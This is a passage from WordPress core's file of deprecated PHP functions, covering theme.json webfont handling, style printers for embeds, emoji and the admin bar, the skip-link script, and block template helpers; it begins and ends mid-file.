	} elseif ( isset( $context['style']['color']['text'] ) ) {
		$custom_text_color = $context['style']['color']['text'];
	}

	// If has text color.
	if ( ! is_null( $named_text_color ) ) {
		// Add the color class.
		array_push( $colors['css_classes'], 'has-text-color', sprintf( 'has-%s-color', $named_text_color ) );
	} elseif ( ! is_null( $custom_text_color ) ) {
		// Add the custom color inline style.
		$colors['css_classes'][]  = 'has-text-color';
		$colors['inline_styles'] .= sprintf( 'color: %s;', $custom_text_color );
	}

	// Background color.
	$named_background_color  = null;
	$custom_background_color = null;

	if ( $is_sub_menu && array_key_exists( 'customOverlayBackgroundColor', $context ) ) {
		$custom_background_color = $context['customOverlayBackgroundColor'];
	} elseif ( $is_sub_menu && array_key_exists( 'overlayBackgroundColor', $context ) ) {
		$named_background_color = $context['overlayBackgroundColor'];
	} elseif ( array_key_exists( 'customBackgroundColor', $context ) ) {
		$custom_background_color = $context['customBackgroundColor'];
	} elseif ( array_key_exists( 'backgroundColor', $context ) ) {
		$named_background_color = $context['backgroundColor'];
	} elseif ( isset( $context['style']['color']['background'] ) ) {
		$custom_background_color = $context['style']['color']['background'];
	}

	// If has background color.
	if ( ! is_null( $named_background_color ) ) {
		// Add the background-color class.
		array_push( $colors['css_classes'], 'has-background', sprintf( 'has-%s-background-color', $named_background_color ) );
	} elseif ( ! is_null( $custom_background_color ) ) {
		// Add the custom background-color inline style.
		$colors['css_classes'][]  = 'has-background';
		$colors['inline_styles'] .= sprintf( 'background-color: %s;', $custom_background_color );
	}

	return $colors;
}

/**
 * Runs the theme.json webfonts handler.
 *
 * Using `WP_Theme_JSON_Resolver`, it gets the fonts defined
 * in the `theme.json` for the current selection and style
 * variations, validates the font-face properties, generates
 * the '@font-face' style declarations, and then enqueues the
 * styles for both the editor and front-end.
 *
 * Design Notes:
 * This is not a public API, but rather an internal handler.
 * A future public Webfonts API will replace this stopgap code.
 *
 * This code design is intentional.
 *    a. It hides the inner-workings.
 *    b. It does not expose API ins or outs for consumption.
 *    c. It only works with a theme's `theme.json`.
 *
 * Why?
 *    a. To avoid backwards-compatibility issues when
 *       the Webfonts API is introduced in Core.
 *    b. To make `fontFace` declarations in `theme.json` work.
 *
 * @link  https://github.com/WordPress/gutenberg/issues/40472
 *
 * @since 6.0.0
 * @deprecated 6.4.0 Use wp_print_font_faces() instead.
 * @access private
 */
function _wp_theme_json_webfonts_handler() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_print_font_faces' );

	// Block themes are unavailable during installation.
	if ( wp_installing() ) {
		return;
	}

	if ( ! wp_theme_has_theme_json() ) {
		return;
	}

	// Webfonts to be processed.
	$registered_webfonts = array();

	/**
	 * Gets the webfonts from theme.json.
	 *
	 * @since 6.0.0
	 *
	 * @return array Array of defined webfonts.
	 */
	$fn_get_webfonts_from_theme_json = static function() {
		// Get settings from theme.json.
		$settings = WP_Theme_JSON_Resolver::get_merged_data()->get_settings();

		// If in the editor, add webfonts defined in variations.
		if ( is_admin() || wp_is_rest_endpoint() ) {
			$variations = WP_Theme_JSON_Resolver::get_style_variations();
			foreach ( $variations as $variation ) {
				// Skip if fontFamilies are not defined in the variation.
				if ( empty( $variation['settings']['typography']['fontFamilies'] ) ) {
					continue;
				}

				// Initialize the array structure.
				if ( empty( $settings['typography'] ) ) {
					$settings['typography'] = array();
				}
				if ( empty( $settings['typography']['fontFamilies'] ) ) {
					$settings['typography']['fontFamilies'] = array();
				}
				if ( empty( $settings['typography']['fontFamilies']['theme'] ) ) {
					$settings['typography']['fontFamilies']['theme'] = array();
				}

				// Combine variations with settings. Remove duplicates.
				$settings['typography']['fontFamilies']['theme'] = array_merge( $settings['typography']['fontFamilies']['theme'], $variation['settings']['typography']['fontFamilies']['theme'] );
				$settings['typography']['fontFamilies']          = array_unique( $settings['typography']['fontFamilies'] );
			}
		}

		// Bail out early if there are no settings for webfonts.
		if ( empty( $settings['typography']['fontFamilies'] ) ) {
			return array();
		}

		$webfonts = array();

		// Look for fontFamilies.
		foreach ( $settings['typography']['fontFamilies'] as $font_families ) {
			foreach ( $font_families as $font_family ) {

				// Skip if fontFace is not defined.
				if ( empty( $font_family['fontFace'] ) ) {
					continue;
				}

				// Skip if fontFace is not an array of webfonts.
				if ( ! is_array( $font_family['fontFace'] ) ) {
					continue;
				}

				$webfonts = array_merge( $webfonts, $font_family['fontFace'] );
			}
		}

		return $webfonts;
	};

	/**
	 * Transforms each 'src' into an URI by replacing 'file:./'
	 * placeholder from theme.json.
	 *
	 * The absolute path to the webfont file(s) cannot be defined in
	 * theme.json. `file:./` is the placeholder which is replaced by
	 * the theme's URL path to the theme's root.
	 *
	 * @since 6.0.0
	 *
	 * @param array $src Webfont file(s) `src`.
	 * @return array Webfont's `src` in URI.
	 */
	$fn_transform_src_into_uri = static function( array $src ) {
		foreach ( $src as $key => $url ) {
			// Tweak the URL to be relative to the theme root.
			if ( ! str_starts_with( $url, 'file:./' ) ) {
				continue;
			}

			$src[ $key ] = get_theme_file_uri( str_replace( 'file:./', '', $url ) );
		}

		return $src;
	};

	/**
	 * Converts the font-face properties (i.e. keys) into kebab-case.
	 *
	 * @since 6.0.0
	 *
	 * @param array $font_face Font face to convert.
	 * @return array Font faces with each property in kebab-case format.
	 */
	$fn_convert_keys_to_kebab_case = static function( array $font_face ) {
		foreach ( $font_face as $property => $value ) {
			$kebab_case               = _wp_to_kebab_case( $property );
			$font_face[ $kebab_case ] = $value;
			if ( $kebab_case !== $property ) {
				unset( $font_face[ $property ] );
			}
		}

		return $font_face;
	};

	/**
	 * Validates a webfont.
	 *
	 * @since 6.0.0
	 *
	 * @param array $webfont The webfont arguments.
	 * @return array|false The validated webfont arguments, or false if the webfont is invalid.
	 */
	$fn_validate_webfont = static function( $webfont ) {
		$webfont = wp_parse_args(
				$webfont,
				array(
						'font-family'  => '',
						'font-style'   => 'normal',
						'font-weight'  => '400',
						'font-display' => 'fallback',
						'src'          => array(),
				)
		);

		// Check the font-family.
		if ( empty( $webfont['font-family'] ) || ! is_string( $webfont['font-family'] ) ) {
			trigger_error( __( 'Webfont font family must be a non-empty string.' ) );

			return false;
		}

		// Check that the `src` property is defined and a valid type.
		if ( empty( $webfont['src'] ) || ( ! is_string( $webfont['src'] ) && ! is_array( $webfont['src'] ) ) ) {
			trigger_error( __( 'Webfont src must be a non-empty string or an array of strings.' ) );

			return false;
		}

		// Validate the `src` property.
		foreach ( (array) $webfont['src'] as $src ) {
			if ( ! is_string( $src ) || '' === trim( $src ) ) {
				trigger_error( __( 'Each webfont src must be a non-empty string.' ) );

				return false;
			}
		}

		// Check the font-weight.
		if ( ! is_string( $webfont['font-weight'] ) && ! is_int( $webfont['font-weight'] ) ) {
			trigger_error( __( 'Webfont font weight must be a properly formatted string or integer.' ) );

			return false;
		}

		// Check the font-display.
		if ( ! in_array( $webfont['font-display'], array( 'auto', 'block', 'fallback', 'optional', 'swap' ), true ) ) {
			$webfont['font-display'] = 'fallback';
		}

		$valid_props = array(
				'ascend-override',
				'descend-override',
				'font-display',
				'font-family',
				'font-stretch',
				'font-style',
				'font-weight',
				'font-variant',
				'font-feature-settings',
				'font-variation-settings',
				'line-gap-override',
				'size-adjust',
				'src',
				'unicode-range',
		);

		foreach ( $webfont as $prop => $value ) {
			if ( ! in_array( $prop, $valid_props, true ) ) {
				unset( $webfont[ $prop ] );
			}
		}

		return $webfont;
	};

	/**
	 * Registers webfonts declared in theme.json.
	 *
	 * @since 6.0.0
	 *
	 * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference).
	 * @uses $fn_get_webfonts_from_theme_json To run the function that gets the webfonts from theme.json.
	 * @uses $fn_convert_keys_to_kebab_case To run the function that converts keys into kebab-case.
	 * @uses $fn_validate_webfont To run the function that validates each font-face (webfont) from theme.json.
	 */
	$fn_register_webfonts = static function() use ( &$registered_webfonts, $fn_get_webfonts_from_theme_json, $fn_convert_keys_to_kebab_case, $fn_validate_webfont, $fn_transform_src_into_uri ) {
		$registered_webfonts = array();

		foreach ( $fn_get_webfonts_from_theme_json() as $webfont ) {
			if ( ! is_array( $webfont ) ) {
				continue;
			}

			$webfont = $fn_convert_keys_to_kebab_case( $webfont );

			$webfont = $fn_validate_webfont( $webfont );

			$webfont['src'] = $fn_transform_src_into_uri( (array) $webfont['src'] );

			// Skip if not valid.
			if ( empty( $webfont ) ) {
				continue;
			}

			$registered_webfonts[] = $webfont;
		}
	};

	/**
	 * Orders 'src' items to optimize for browser support.
	 *
	 * @since 6.0.0
	 *
	 * @param array $webfont Webfont to process.
	 * @return array Ordered `src` items.
	 */
	$fn_order_src = static function( array $webfont ) {
		$src         = array();
		$src_ordered = array();

		foreach ( $webfont['src'] as $url ) {
			// Add data URIs first.
			if ( str_starts_with( trim( $url ), 'data:' ) ) {
				$src_ordered[] = array(
						'url'    => $url,
						'format' => 'data',
				);
				continue;
			}
			$format         = pathinfo( $url, PATHINFO_EXTENSION );
			$src[ $format ] = $url;
		}

		// Add woff2.
		if ( ! empty( $src['woff2'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['woff2'] ),
					'format' => 'woff2',
			);
		}

		// Add woff.
		if ( ! empty( $src['woff'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['woff'] ),
					'format' => 'woff',
			);
		}

		// Add ttf.
		if ( ! empty( $src['ttf'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['ttf'] ),
					'format' => 'truetype',
			);
		}

		// Add eot.
		if ( ! empty( $src['eot'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['eot'] ),
					'format' => 'embedded-opentype',
			);
		}

		// Add otf.
		if ( ! empty( $src['otf'] ) ) {
			$src_ordered[] = array(
					'url'    => sanitize_url( $src['otf'] ),
					'format' => 'opentype',
			);
		}
		$webfont['src'] = $src_ordered;

		return $webfont;
	};

	/**
	 * Compiles the 'src' into valid CSS.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Removed local() CSS.
	 *
	 * @param string $font_family Font family.
	 * @param array  $value       Value to process.
	 * @return string The CSS.
	 */
	$fn_compile_src = static function( $font_family, array $value ) {
		$src = '';

		foreach ( $value as $item ) {
			$src .= ( 'data' === $item['format'] )
					? ", url({$item['url']})"
					: ", url('{$item['url']}') format('{$item['format']}')";
		}

		$src = ltrim( $src, ', ' );

		return $src;
	};

	/**
	 * Compiles the font variation settings.
	 *
	 * @since 6.0.0
	 *
	 * @param array $font_variation_settings Array of font variation settings.
	 * @return string The CSS.
	 */
	$fn_compile_variations = static function( array $font_variation_settings ) {
		$variations = '';

		foreach ( $font_variation_settings as $key => $value ) {
			$variations .= "$key $value";
		}

		return $variations;
	};

	/**
	 * Builds the font-family's CSS.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_compile_src To run the function that compiles the src.
	 * @uses $fn_compile_variations To run the function that compiles the variations.
	 *
	 * @param array $webfont Webfont to process.
	 * @return string This font-family's CSS.
	 */
	$fn_build_font_face_css = static function( array $webfont ) use ( $fn_compile_src, $fn_compile_variations ) {
		$css = '';

		// Wrap font-family in quotes if it contains spaces.
		if (
				str_contains( $webfont['font-family'], ' ' ) &&
				! str_contains( $webfont['font-family'], '"' ) &&
				! str_contains( $webfont['font-family'], "'" )
		) {
			$webfont['font-family'] = '"' . $webfont['font-family'] . '"';
		}

		foreach ( $webfont as $key => $value ) {
			/*
			 * Skip "provider", since it's for internal API use,
			 * and not a valid CSS property.
			 */
			if ( 'provider' === $key ) {
				continue;
			}

			// Compile the "src" parameter.
			if ( 'src' === $key ) {
				$value = $fn_compile_src( $webfont['font-family'], $value );
			}

			// If font-variation-settings is an array, convert it to a string.
			if ( 'font-variation-settings' === $key && is_array( $value ) ) {
				$value = $fn_compile_variations( $value );
			}

			if ( ! empty( $value ) ) {
				$css .= "$key:$value;";
			}
		}

		return $css;
	};

	/**
	 * Gets the '@font-face' CSS styles for locally-hosted font files.
	 *
	 * @since 6.0.0
	 *
	 * @uses $registered_webfonts To access and update the registered webfonts registry (passed by reference).
	 * @uses $fn_order_src To run the function that orders the src.
	 * @uses $fn_build_font_face_css To run the function that builds the font-face CSS.
	 *
	 * @return string The `@font-face` CSS.
	 */
	$fn_get_css = static function() use ( &$registered_webfonts, $fn_order_src, $fn_build_font_face_css ) {
		$css = '';

		foreach ( $registered_webfonts as $webfont ) {
			// Order the webfont's `src` items to optimize for browser support.
			$webfont = $fn_order_src( $webfont );

			// Build the @font-face CSS for this webfont.
			$css .= '@font-face{' . $fn_build_font_face_css( $webfont ) . '}';
		}

		return $css;
	};

	/**
	 * Generates and enqueues webfonts styles.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_get_css To run the function that gets the CSS.
	 */
	$fn_generate_and_enqueue_styles = static function() use ( $fn_get_css ) {
		// Generate the styles.
		$styles = $fn_get_css();

		// Bail out if there are no styles to enqueue.
		if ( '' === $styles ) {
			return;
		}

		// Enqueue the stylesheet.
		wp_register_style( 'wp-webfonts', '' );
		wp_enqueue_style( 'wp-webfonts' );

		// Add the styles to the stylesheet.
		wp_add_inline_style( 'wp-webfonts', $styles );
	};

	/**
	 * Generates and enqueues editor styles.
	 *
	 * @since 6.0.0
	 *
	 * @uses $fn_get_css To run the function that gets the CSS.
	 */
	$fn_generate_and_enqueue_editor_styles = static function() use ( $fn_get_css ) {
		// Generate the styles.
		$styles = $fn_get_css();

		// Bail out if there are no styles to enqueue.
		if ( '' === $styles ) {
			return;
		}

		wp_add_inline_style( 'wp-block-library', $styles );
	};

	add_action( 'wp_loaded', $fn_register_webfonts );
	add_action( 'wp_enqueue_scripts', $fn_generate_and_enqueue_styles );
	add_action( 'admin_init', $fn_generate_and_enqueue_editor_styles );
}

/**
 * Prints the CSS in the embed iframe header.
 *
 * @since 4.4.0
 * @deprecated 6.4.0 Use wp_enqueue_embed_styles() instead.
 */
function print_embed_styles() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_embed_styles' );

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	$suffix    = SCRIPT_DEBUG ? '' : '.min';
	?>
	<style<?php echo $type_attr; ?>>
		<?php echo file_get_contents( ABSPATH . WPINC . "/css/wp-embed-template$suffix.css" ); ?>
	</style>
	<?php
}

/**
 * Prints the important emoji-related styles.
 *
 * @since 4.2.0
 * @deprecated 6.4.0 Use wp_enqueue_emoji_styles() instead.
 */
function print_emoji_styles() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_emoji_styles' );
	static $printed = false;

	if ( $printed ) {
		return;
	}

	$printed = true;

	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?>>
	img.wp-smiley,
	img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
	</style>
	<?php
}

/**
 * Prints style and scripts for the admin bar.
 *
 * @since 3.1.0
 * @deprecated 6.4.0 Use wp_enqueue_admin_bar_header_styles() instead.
 */
function wp_admin_bar_header() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_admin_bar_header_styles' );
	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?> media="print">#wpadminbar { display:none; }</style>
	<?php
}

/**
 * Prints default admin bar callback.
 *
 * @since 3.1.0
 * @deprecated 6.4.0 Use wp_enqueue_admin_bar_bump_styles() instead.
 */
function _admin_bar_bump_cb() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_admin_bar_bump_styles' );
	$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
	?>
	<style<?php echo $type_attr; ?> media="screen">
	html { margin-top: 32px !important; }
	@media screen and ( max-width: 782px ) {
	  html { margin-top: 46px !important; }
	}
	</style>
	<?php
}

/**
 * Runs a remote HTTPS request to detect whether HTTPS supported, and stores potential errors.
 *
 * This internal function is called by a regular Cron hook to ensure HTTPS support is detected and maintained.
 *
 * @since 5.7.0
 * @deprecated 6.4.0 The `wp_update_https_detection_errors()` function is no longer used and has been replaced by
 *                   `wp_get_https_detection_errors()`. Previously the function was called by a regular Cron hook to
 *                    update the `https_detection_errors` option, but this is no longer necessary as the errors are
 *                    retrieved directly in Site Health and no longer used outside of Site Health.
 * @access private
 */
function wp_update_https_detection_errors() {
	_deprecated_function( __FUNCTION__, '6.4.0' );

	/**
	 * Short-circuits the process of detecting errors related to HTTPS support.
	 *
	 * Returning a `WP_Error` from the filter will effectively short-circuit the default logic of trying a remote
	 * request to the site over HTTPS, storing the errors array from the returned `WP_Error` instead.
	 *
	 * @since 5.7.0
	 * @deprecated 6.4.0 The `wp_update_https_detection_errors` filter is no longer used and has been replaced by `pre_wp_get_https_detection_errors`.
	 *
	 * @param null|WP_Error $pre Error object to short-circuit detection,
	 *                           or null to continue with the default behavior.
	 */
	$support_errors = apply_filters( 'pre_wp_update_https_detection_errors', null );
	if ( is_wp_error( $support_errors ) ) {
		update_option( 'https_detection_errors', $support_errors->errors, false );
		return;
	}

	$support_errors = wp_get_https_detection_errors();

	update_option( 'https_detection_errors', $support_errors );
}

/**
 * Adds `decoding` attribute to an `img` HTML tag.
 *
 * The `decoding` attribute allows developers to indicate whether the
 * browser can decode the image off the main thread (`async`), on the
 * main thread (`sync`) or as determined by the browser (`auto`).
 *
 * By default WordPress adds `decoding="async"` to images but developers
 * can use the {@see 'wp_img_tag_add_decoding_attr'} filter to modify this
 * to remove the attribute or set it to another accepted value.
 *
 * @since 6.1.0
 * @deprecated 6.4.0 Use wp_img_tag_add_loading_optimization_attrs() instead.
 * @see wp_img_tag_add_loading_optimization_attrs()
 *
 * @param string $image   The HTML `img` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `img` tag with `decoding` attribute added.
 */
function wp_img_tag_add_decoding_attr( $image, $context ) {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_img_tag_add_loading_optimization_attrs()' );

	/*
	 * Only apply the decoding attribute to images that have a src attribute that
	 * starts with a double quote, ensuring escaped JSON is also excluded.
	 */
	if ( ! str_contains( $image, ' src="' ) ) {
		return $image;
	}

	/** This action is documented in wp-includes/media.php */
	$value = apply_filters( 'wp_img_tag_add_decoding_attr', 'async', $image, $context );

	if ( in_array( $value, array( 'async', 'sync', 'auto' ), true ) ) {
		$image = str_replace( '<img ', '<img decoding="' . esc_attr( $value ) . '" ', $image );
	}

	return $image;
}

/**
 * Parses wp_template content and injects the active theme's
 * stylesheet as a theme attribute into each wp_template_part
 *
 * @since 5.9.0
 * @deprecated 6.4.0 Use traverse_and_serialize_blocks( parse_blocks( $template_content ), '_inject_theme_attribute_in_template_part_block' ) instead.
 * @access private
 *
 * @param string $template_content serialized wp_template content.
 * @return string Updated 'wp_template' content.
 */
function _inject_theme_attribute_in_block_template_content( $template_content ) {
	_deprecated_function(
		__FUNCTION__,
		'6.4.0',
		'traverse_and_serialize_blocks( parse_blocks( $template_content ), "_inject_theme_attribute_in_template_part_block" )'
	);

	$has_updated_content = false;
	$new_content         = '';
	$template_blocks     = parse_blocks( $template_content );

	$blocks = _flatten_blocks( $template_blocks );
	foreach ( $blocks as &$block ) {
		if (
			'core/template-part' === $block['blockName'] &&
			! isset( $block['attrs']['theme'] )
		) {
			$block['attrs']['theme'] = get_stylesheet();
			$has_updated_content     = true;
		}
	}

	if ( $has_updated_content ) {
		foreach ( $template_blocks as &$block ) {
			$new_content .= serialize_block( $block );
		}

		return $new_content;
	}

	return $template_content;
}

/**
 * Parses a block template and removes the theme attribute from each template part.
 *
 * @since 5.9.0
 * @deprecated 6.4.0 Use traverse_and_serialize_blocks( parse_blocks( $template_content ), '_remove_theme_attribute_from_template_part_block' ) instead.
 * @access private
 *
 * @param string $template_content Serialized block template content.
 * @return string Updated block template content.
 */
function _remove_theme_attribute_in_block_template_content( $template_content ) {
	_deprecated_function(
		__FUNCTION__,
		'6.4.0',
		'traverse_and_serialize_blocks( parse_blocks( $template_content ), "_remove_theme_attribute_from_template_part_block" )'
	);

	$has_updated_content = false;
	$new_content         = '';
	$template_blocks     = parse_blocks( $template_content );

	$blocks = _flatten_blocks( $template_blocks );
	foreach ( $blocks as $key => $block ) {
		if ( 'core/template-part' === $block['blockName'] && isset( $block['attrs']['theme'] ) ) {
			unset( $blocks[ $key ]['attrs']['theme'] );
			$has_updated_content = true;
		}
	}

	if ( ! $has_updated_content ) {
		return $template_content;
	}

	foreach ( $template_blocks as $block ) {
		$new_content .= serialize_block( $block );
	}

	return $new_content;
}

/**
 * Prints the skip-link script & styles.
 *
 * @since 5.8.0
 * @access private
 * @deprecated 6.4.0 Use wp_enqueue_block_template_skip_link() instead.
 *
 * @global string $_wp_current_template_content
 */
function the_block_template_skip_link() {
	_deprecated_function( __FUNCTION__, '6.4.0', 'wp_enqueue_block_template_skip_link()' );

	global $_wp_current_template_content;

	// Early exit if not a block theme.
	if ( ! current_theme_supports( 'block-templates' ) ) {
		return;
	}

	// Early exit if not a block template.
	if ( ! $_wp_current_template_content ) {
		return;
	}
	?>

	<?php
	/**
	 * Print the skip-link styles.
	 */
	?>
	<style id="skip-link-styles">
		.skip-link.screen-reader-text {
			border: 0;
			clip-path: inset(50%);
			height: 1px;
			margin: -1px;
			overflow: hidden;
			padding: 0;
			position: absolute !important;
			width: 1px;
			word-wrap: normal !important;
		}

		.skip-link.screen-reader-text:focus {
			background-color: #eee;
			clip-path: none;
			color: #444;
			display: block;
			font-size: 1em;
			height: auto;
			left: 5px;
			line-height: normal;
			padding: 15px 23px 14px;
			text-decoration: none;
			top: 5px;
			width: auto;
			z-index: 100000;
		}
	</style>
	<?php
	/**
	 * Print the skip-link script.
	 */
	?>
	<script>
	( function() {
		var skipLinkTarget = document.querySelector( 'main' ),
			sibling,
			skipLinkTargetID,
			skipLink;

		// Early exit if a skip-link target can't be located.
		if ( ! skipLinkTarget ) {
			return;
		}

		/*
		 * Get the site wrapper.
		 * The skip-link will be injected in the beginning of it.
		 */
		sibling = document.querySelector( '.wp-site-blocks' );

		// Early exit if the root element was not found.
		if ( ! sibling ) {
			return;
		}

		// Get the skip-link target's ID, and generate one if it doesn't exist.
		skipLinkTargetID = skipLinkTarget.id;
		if ( ! skipLinkTargetID ) {
			skipLinkTargetID = 'wp--skip-link--target';
			skipLinkTarget.id = skipLinkTargetID;
		}

		// Create the skip link.
		skipLink = document.createElement( 'a' );
		skipLink.classList.add( 'skip-link', 'screen-reader-text' );
		skipLink.href = '#' + skipLinkTargetID;
		skipLink.innerHTML = '<?php /* translators: Hidden accessibility text. */ esc_html_e( 'Skip to content' ); ?>';

		// Inject the skip link.
		sibling.parentElement.insertBefore( skipLink, sibling );
	}() );
	</script>
	<?php
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 */
function block_core_query_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
}

/**
 * Ensure that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 */
function block_core_file_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
}

/**
 * Ensures that the view script has the `wp-interactivity` dependency.
 *
 * @since 6.4.0
 * @deprecated 6.5.0
 */
function block_core_image_ensure_interactivity_dependency() {
	_deprecated_function( __FUNCTION__, '6.5.0', 'wp_register_script_module' );
}

/**
 * Updates the block content with elements class names.
 *
 * @deprecated 6.6.0 Generation of element class name is handled via `render_block_data` filter.
 *
 * @since 5.8.0
 * @since 6.4.0 Added support for button and heading element styling.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_elements_support( $block_content, $block ) {
	_deprecated_function( __FUNCTION__, '6.6.0', 'wp_render_elements_class_name' );
	return $block_content;
}

/**
 * Processes the directives on the rendered HTML of the interactive blocks.
 *
 * This processes only one root interactive block at a time because the
 * rendered HTML of that block contains the rendered HTML of all its inner
 * blocks, including any interactive block. It does so by ignoring all the
 * interactive inner blocks until the root interactive block is processed.
 *
 * @since 6.5.0
 * @deprecated 6.6.0
 *
 * @param array $parsed_block The parsed block.
 * @return array The same parsed block.
 */
function wp_interactivity_process_directives_of_interactive_blocks( array $parsed_block ): array {
	_deprecated_function( __FUNCTION__, '6.6.0' );
	return $parsed_block;
}

/**
 * Gets the global styles custom CSS from theme.json.
 *
 * @since 6.2.0
 * @deprecated 6.7.0 Use {@see 'wp_get_global_stylesheet'} instead for top-level custom CSS, or {@see 'WP_Theme_JSON::get_styles_for_block'} for block-level custom CSS.
 *
 * @return string The global styles custom CSS.
 */
function wp_get_global_styles_custom_css() {
	_deprecated_function( __FUNCTION__, '6.7.0', 'wp_get_global_stylesheet' );
	if ( ! wp_theme_has_theme_json() ) {
		return '';
	}
	/*
	 * Ignore cache when the development mode is set to 'theme', so it doesn't interfere with the theme
	 * developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'theme' );

	/*
	 * By using the 'theme_json' group, this data is marked to be non-persistent across requests.
	 * @see `wp_cache_add_non_persistent_groups()`.
	 *
	 * The rationale for this is to make sure derived data from theme.json
	 * is always fresh from the potential modifications done via hooks
	 * that can use dynamic data (modify the stylesheet depending on some option,
	 * settings depending on user permissions, etc.).
	 * See some of the existing hooks to modify theme.json behavior:
	 * @see https://make.wordpress.org/core/2022/10/10/filters-for-theme-json-data/
	 *
	 * A different alternative considered was to invalidate the cache upon certain
	 * events such as options add/update/delete, user meta, etc.
	 * It was judged not enough, hence this approach.
	 * @see https://github.com/WordPress/gutenberg/pull/45372
	 */
	$cache_key   = 'wp_get_global_styles_custom_css';
	$cache_group = 'theme_json';
	if ( $can_use_cached ) {
		$cached = wp_cache_get( $cache_key, $cache_group );
		if ( $cached ) {
			return $cached;
		}
	}

	$tree       = WP_Theme_JSON_Resolver::get_merged_data();
	$stylesheet = $tree->get_custom_css();

	if ( $can_use_cached ) {
		wp_cache_set( $cache_key, $stylesheet, $cache_group );
	}

	return $stylesheet;
}

/**
 * Enqueues the global styles custom css defined via theme.json.
 *
 * @since 6.2.0
 * @deprecated 6.7.0 Use {@see 'wp_enqueue_global_styles'} instead.
 */
function wp_enqueue_global_styles_custom_css() {
	_deprecated_function( __FUNCTION__, '6.7.0', 'wp_enqueue_global_styles' );
	if ( ! wp_is_block_theme() ) {
		return;
	}

	// Don't enqueue Customizer's custom CSS separately.
	remove_action( 'wp_head', 'wp_custom_css_cb', 101 );

	$custom_css  = wp_get_custom_css();
	$custom_css .= wp_get_global_styles_custom_css();

	if ( ! empty( $custom_css ) ) {
		wp_add_inline_style( 'global-styles', $custom_css );
	}
}

/**
 * Generate block style variation instance name.
 *
 * @since 6.6.0
 * @deprecated 6.7.0 Use `wp_unique_id( $variation . '--' )` instead.
 *
 * @access private
 *
 * @param array  $block     Block object.
 * @param string $variation Slug for the block style variation.
 *
 * @return string The unique variation name.
 */
function wp_create_block_style_variation_instance_name( $block, $variation ) {
	_deprecated_function( __FUNCTION__, '6.7.0', 'wp_unique_id' );
	return $variation . '--' . md5( serialize( $block ) );
}

/**
 * Returns whether the current user has the specified capability for a given site.
 *
 * @since 3.0.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 * @since 5.8.0 Wraps current_user_can() after switching to blog.
 * @deprecated 6.7.0 Use current_user_can_for_site() instead.
 *
 * @param int    $blog_id    Site ID.
 * @param string $capability Capability name.
 * @param mixed  ...$args    Optional further parameters, typically starting with an object ID.
 * @return bool Whether the user has the given capability.
 */
function current_user_can_for_blog( $blog_id, $capability, ...$args ) {
	return current_user_can_for_site( $blog_id, $capability, ...$args );
}

/**
 * Loads classic theme styles on classic themes in the editor.
 *
 * This is used for backwards compatibility for Button and File blocks specifically.
 *
 * @since 6.1.0
 * @since 6.2.0 Added File block styles.
 * @deprecated 6.8.0 Styles are enqueued, not printed in the body element.
 *
 * @param array $editor_settings The array of editor settings.
 * @return array A filtered array of editor settings.
 */
function wp_add_editor_classic_theme_styles( $editor_settings ) {
	_deprecated_function( __FUNCTION__, '6.8.0', 'wp_enqueue_classic_theme_styles' );

	if ( wp_theme_has_theme_json() ) {
		return $editor_settings;
	}

	$suffix               = wp_scripts_get_suffix();
	$classic_theme_styles = ABSPATH . WPINC . "/css/classic-themes$suffix.css";

	/*
	 * This follows the pattern of get_block_editor_theme_styles,
	 * but we can't use get_block_editor_theme_styles directly as it
	 * only handles external files or theme files.
	 */
	$classic_theme_styles_settings = array(
		'css'            => file_get_contents( $classic_theme_styles ),
		'__unstableType' => 'core',
		'isGlobalStyles' => false,
	);

	// Add these settings to the start of the array so that themes can override them.
	array_unshift( $editor_settings['styles'], $classic_theme_styles_settings );

	return $editor_settings;
}

/**
 * Prints a CSS rule to fix potential visual issues with images using `sizes=auto`.
 *
 * This rule overrides the similar rule in the default user agent stylesheet, to avoid images that use e.g.
 * `width: auto` or `width: fit-content` to appear smaller.
 *
 * @since 6.7.1
 * @deprecated 6.9.0 Use wp_enqueue_img_auto_sizes_contain_css_fix() instead.
 * @see wp_enqueue_img_auto_sizes_contain_css_fix()
 *
 * @see https://html.spec.whatwg.org/multipage/rendering.html#img-contain-size
 * @see https://core.trac.wordpress.org/ticket/62413
 * @see https://core.trac.wordpress.org/ticket/62731
 */
function wp_print_auto_sizes_contain_css_fix() {
	_deprecated_function( __FUNCTION__, '6.9.0', 'wp_enqueue_img_auto_sizes_contain_css_fix' );

	/** This filter is documented in wp-includes/media.php */
